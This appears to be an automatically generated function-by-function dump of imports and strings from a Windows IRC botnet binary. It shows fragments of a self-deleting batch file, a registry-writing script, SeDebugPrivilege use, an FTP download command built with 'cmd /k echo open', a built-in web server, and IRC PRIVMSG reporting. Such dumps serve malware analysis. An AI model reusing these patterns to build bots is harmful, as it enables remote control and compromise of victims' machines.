sub_outside():
	KERNEL32.GetTickCount
	KERNEL32.GetLocalTime
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.setsockopt
	WS2_32.ioctlsocket
	WS2_32.ntohs
	WS2_32.bind
	WS2_32.listen
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket
	KERNEL32.GetFileAttributesA
	KERNEL32.CreateFileA
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.CloseHandle
	KERNEL32.ReadFile
	KERNEL32.CreatePipe
	KERNEL32.GetCurrentProcess
	KERNEL32.ExitProcess
	KERNEL32.GetLocaleInfoA
	KERNEL32.GetVersionExA
	KERNEL32.GetVersion
	KERNEL32.LCMapStringW
	KERNEL32.MultiByteToWideChar
	KERNEL32.WideCharToMultiByte
	KERNEL32.GetStringTypeW
	KERNEL32.LoadLibraryA

sub_41BFE9(0126):
	KERNEL32.SetUnhandledExceptionFilter

sub_40A7B6(019e):
	"%sKB"
	"failed"

sub_408E5A(04c3):
	KERNEL32.GetTickCount

	"%dd %dh %dm"

sub_4128CD(04fb):
	KERNEL32.CreateThread
	KERNEL32.Sleep
	KERNEL32.CloseHandle

sub_409894(09b3):
	KERNEL32.Sleep

start(0b2f):
	KERNEL32.GetTickCount

sub_4113F2(0b6c):
	NTDLL.RtlGetLastWin32Error

	"The following	Windows	services are regi"...
	"	 Unknown"
	"	 Paused"
	"    Pausing"
	" Continuing"
	"    Running"
	"    Stoping"
	"   Starting"
	"    Stopped"
	"%s: %s (%s)"

sub_408445(162d):
	KERNEL32.CreateFileA

	"@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
	"c:\\a.bat"

sub_4032B0(1dd9):
	WS2_32.socket
	KERNEL32.Sleep

	"cmd /k echo open %s %d > o&echo user 1 "...

sub_405E47(1fa9):
	NTDLL.RtlDeleteCriticalSection
	KERNEL32.InitializeCriticalSectionAndSpinCount
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error

sub_405AFA(22a3):
	"%d.%d.%d.%d"

sub_40922D(23e7):
	"[NETINFO]: [Type]: %s	(%s). [IP Address"...

sub_4082BD(29d8):
	KERNEL32.CreateFileA
	KERNEL32.CloseHandle

	"%sdel.bat"
	"@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...

sub_41A6CE(2f2e):
	KERNEL32.UnhandledExceptionFilter

sub_40AA28(32ea):
	KERNEL32.Sleep

sub_4098E7(3339):
	"rb"

sub_41C1F2(35b5):
	KERNEL32.WideCharToMultiByte

	"TZ"

sub_41A4BA(37dd):
	NTDLL.RtlGetLastWin32Error

sub_417F7F(393e):
	"KERNEL32"
	"IsProcessorFeaturePresent"

sub_403FCB(3bb2):
	"GET	"
	" "
	"\r\n"
	"text/html"
	"application/octet-stream"
	"ddd, dd	MMM yyyy"
	"HH:mm:ss"
	"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
	"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...

sub_411724(3fe3):
	"Share	name:	 Resource:		 "...
	"Yes"
	"No"
	"%-14S %-24S %-6u %-4s"

sub_412136(4010):
	KERNEL32.CloseHandle

	"SeDebugPrivilege"
	" %s (%d)"
	"SeDebugPrivilege"

sub_408175(4dfa):
	KERNEL32.CloseHandle

	"mIRC"

sub_4180A6(502f):
	"e+000"

sub_416B13(55e5):
	KERNEL32.HeapCreate
	KERNEL32.HeapDestroy

sub_416BB8(597c):
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap

sub_413ED3(5c3f):
	NTDLL.RtlFreeHeap

sub_4081F7(5de2):
	KERNEL32.CreateFileA
	KERNEL32.CloseHandle

	"explorer.exe"

sub_4031F5(5f99):
	"GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...

sub_404EDA(601b):
	KERNEL32.CreateFileA
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile
	KERNEL32.CloseHandle

sub_419C0F(6091):
	KERNEL32.SetFilePointer
	NTDLL.RtlGetLastWin32Error

sub_41C807(60b5):
	NTDLL.RtlAllocateHeap

sub_41D094(6338):
	"1#SNAN"
	"1#IND"
	"1#INF"
	"1#QNAN"

sub_411274(6353):
	"The specified	service	name is	invalid."
	"The requested	control	code is	undefined"...
	"The handle is	invalid."
	"The handle does not have the required	a"...
	"The service binary file could	not be fo"...
	"The service cannot be	stopped	because	o"...
	"The database is locked."
	"A thread could not be	created	for the	s"...
	"The process for the service was started"...
	"The requested	control	code is	not valid"...
	"An instance of the service is	already	r"...
	"The system is	shutting down."
	"An unknown error occurred: <%ld>"

sub_41729D(64eb):
	KERNEL32.VirtualAlloc

sub_41B21F(66df):
	KERNEL32.WideCharToMultiByte

sub_418CD8(6954):
	NTDLL.RtlSizeHeap

sub_404858(6cf2):
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.Sleep

	"\n"
	"PRIVMSG %s :Searching	for: %s\r\n"
	"\r\n\r\n